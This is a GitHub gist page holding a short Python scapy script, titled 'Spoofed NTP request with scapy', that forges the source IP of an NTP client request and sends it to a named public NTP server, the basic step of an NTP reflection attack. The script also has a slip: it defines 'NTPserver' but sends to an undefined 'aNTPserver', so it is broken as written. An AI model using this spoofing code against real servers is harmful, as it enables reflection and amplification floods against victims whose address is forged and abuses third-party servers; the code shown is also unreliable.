Skip to content

Instantly share code, notes, and snippets.

@jjsantanna
Last active March 6, 2018 13:58
Show Gist options
  • Save jjsantanna/c637ac27f60cc13d9133e1970ae6c072 to your computer and use it in GitHub Desktop.
Save jjsantanna/c637ac27f60cc13d9133e1970ae6c072 to your computer and use it in GitHub Desktop.
Spoofed NTP request with scapy
from scapy.all import *
spoofedIPsrc=""
NTPserver="59.188.133.225"
ntpRequest = IP(src=spoofedIPsrc,dst=aNTPserver) / UDP(dport=123,sport=50000)/("\x1b\x00\x00\x00"+"\x00"*11*4)
sr1(ntpRequest)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment